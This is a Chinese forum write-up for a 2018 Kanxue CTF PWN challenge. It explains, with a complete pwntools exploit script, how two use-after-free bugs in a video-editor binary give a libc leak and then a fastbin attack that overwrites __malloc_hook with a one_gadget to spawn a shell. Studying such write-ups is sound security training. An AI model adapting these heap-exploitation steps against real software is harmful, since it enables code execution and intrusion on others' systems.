-
-
[原创]看雪CTF2018 第九题 PWN-羞耻player WriteUp
-
发表于: 2018-7-5 00:14 2612
-
看完各位大神的解题思路后,发现本题居然有多种奇妙解法,我也将自己的解题方法总结一下。本题两次用到了UAF,基本思路,先分配一块0x400的堆块,使得初始化时随机生成的堆块都被加入进smallbin里边,然后利用smallbin结合UAF进行libc地址泄漏,同样利用edit_videoclip函数中UAF漏洞,进行fastbin attack,将__malloc_hook改写为one gadagt,最后实现控制流劫持获得shell。详细分析如下:
1. 逆向分析
本题通过逆向,会发现主要有四个C++类构成,分别是AudioClip,VedioClip, SubClip, Metadata,如图1所示。

图 1
程序刚开始运行时,在输出banner之前,随机分配了256个堆块,如图2所示,并随机释放了一部分,此时的main_arena的fastbin和unsorted bin的状态如图3所示。

图 2

图 3
2. libc 地址泄漏
分析add_videoclip函数,如图所示4,最大的frame_num不能超过0x400,输入frame_nums为0x500,实际只分配了0x400内存,可以将初始化时随机分配的堆块加入到smallbin中。所以,在利用代码中,我们首先 add_video(1, p32(0x500), "\x00"*0x400);

图 4
再看edit_videoclip函数,这里有一个非常明显的UAF,如图5所示,我们首先将刚才分配的0x400堆块,改为一个fastbin块,比如0x50大小的堆块,edit(0, p32(0x40), "\x00"*0x40),在进行edit时,该0x50堆块其实已经被释放,加入了fastbin,为后续地址泄漏使用使用。

图 5
来看add_subtitle,如图6,如果data字段为NULL的话,初始化分配一个段内存;如果不为空,将会先释放先前的内存,再分配一段两次长度之和的内存块,并将原来的内存copy到当前内存,此处可以用来内存泄漏。我们先分配一块0x20大小块,即add_subtitle1(p32(0x10)),将smallbin[0]第一块分配出来,其fd指向smallbin;再追加长度0x30,即add_subtitle2(p32(0x30)),此时会将之前0x50的fastbin块再次分配回来,并将数据copy进去,利用UAF,play(0),打印第一个VedioClip即可泄漏smallbin[0]地址,随即可得到main_arean、libc的地址。

图 6
3. 劫持__malloc_hook
接下来相对比较直接,新分配一个堆块,add_video(1, p32(0x500), "\x00"*0x400);再次利用edit_vedioclip的UAF,edit(2, p32(0x60), p64(fake_chunk_addr)),劫持__malloc_hook,将该伪造堆块改为one gadget即可获得shell。详细exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | #! /usr/bin/env python #-*- encoding:utf-8 -*- from pwn import * context.update(terminal = [ "tmux" , "splitw" , "-h" ], # log_level = "debug", os = "linux" , arch = "amd64" , endian = "little" ) p = process( "./video_Editor" ) # p = remote("139.199.99.130", 8989) e = ELF ( "./video_Editor" ) libc = ELF ( "/lib/x86_64-linux-gnu/libc.so.6" ) def info(s, addr): log.info( "%s: 0x%X" %(s, addr)) def add_video(i, num, data): p.sendlineafter( ">>> " , "1" ) p.sendlineafter( ">>> " , str(i)) p.sendlineafter( "Video Resolution : " , "" ) p.sendlineafter( "FPS : " , "" ) p.sendafter( "Number of Frames : " , num) p.sendafter( "Video Data : " , data) p.sendlineafter( "Add description : " , "" ) def delete_vedio(i): p.sendlineafter( ">>> " , "4" ) p.sendlineafter( "Enter index : " , str(i)) def add_subtitle1(len): p.sendlineafter( ">>> " , "1" ) p.sendlineafter( ">>> " , "3" ) p.sendlineafter( "Subtitle Language : " , "" ) p.sendafter( "Subtitle Length : " , len) p.sendlineafter( "Add Subtitle : " , "" ) def add_subtitle2(len): p.sendlineafter( ">>> " , "1" ) p.sendlineafter( ">>> " , "3" ) p.sendafter( "Subtitle Length : " , len) p.sendlineafter( "Add Subtitle : " , "" ) def delete_subtitle(i): p.sendlineafter( ">>> " , "4" ) p.sendlineafter( "Enter index : " , str(i)) def edit(i, num, data): p.sendlineafter( ">>> " , "2" ) p.sendlineafter( "Enter index : " , str(i)) p.sendlineafter( "Video Resolution : " , "" ) p.sendlineafter( "FPS : " , "" ) p.sendafter( "Number of Frames : " , num) p.sendafter( "Video Data : " , data) p.sendlineafter( "Edit description : " , "" ) def play(i): p.sendlineafter( ">>> " , "3" ) p.sendlineafter( "Enter index : " , str(i)) def main(): main_arena_offset = 0x3c4b20 one_gadget_offset = 0x4526a info( "offset main_arena" , main_arena_offset) info( "offset atoi" , one_gadget_offset) p.sendlineafter( "Please enter your Recording Name?\n" , "Hero" ) add_video( 1 , p32(0x500), "\x00" *0x400) edit( 0 , p32(0x40), "\x00" *0x40) play( 0 ) add_subtitle1(p32(0x10)) add_subtitle2(p32(0x30)) play( 0 ) p.recvuntil( "Playing video...\n" ) leak_addr = u64(p.recv( 8 )) ^ 0xcccccccccccccccc info( "leak_addr" , leak_addr) main_arena = leak_addr - 0xa + 0x88 - 104 info( "main_arena" , main_arena) libc_base = main_arena - main_arena_offset info( "libc_base" , libc_base) one_gadget_addr = libc_base + one_gadget_offset info( "one_gadget_addr" , one_gadget_addr) fake_chunk_addr = main_arena - 0x33 payload = 'a' * 0x13 + p64(one_gadget_addr) payload = payload.ljust(0x60, '\x00' ) add_video( 1 , p32(0x500), "\x00" *0x400) edit( 2 , p32(0x60), p64(fake_chunk_addr)) add_video( 1 , p32(0x60), "\x00" *0x60) add_video( 1 , p32(0x60), payload) p.sendlineafter( ">>> " , "1" ) p.sendlineafter( ">>> " , "1" ) p.interactive() main() |
赞赏
他的文章
- [原创]初入好望角WriteUp 2972
- [原创]流浪者WriteUp 3096
- [原创]看雪CTF.TSRC 2018 团队赛 - 半加器Writeup 2924
- [原创]看雪CTF.TSRC 2018 团队赛 - 初世纪 2155
- [原创]第十五题 智能设备WriteUp 6764
赞赏
雪币:
留言: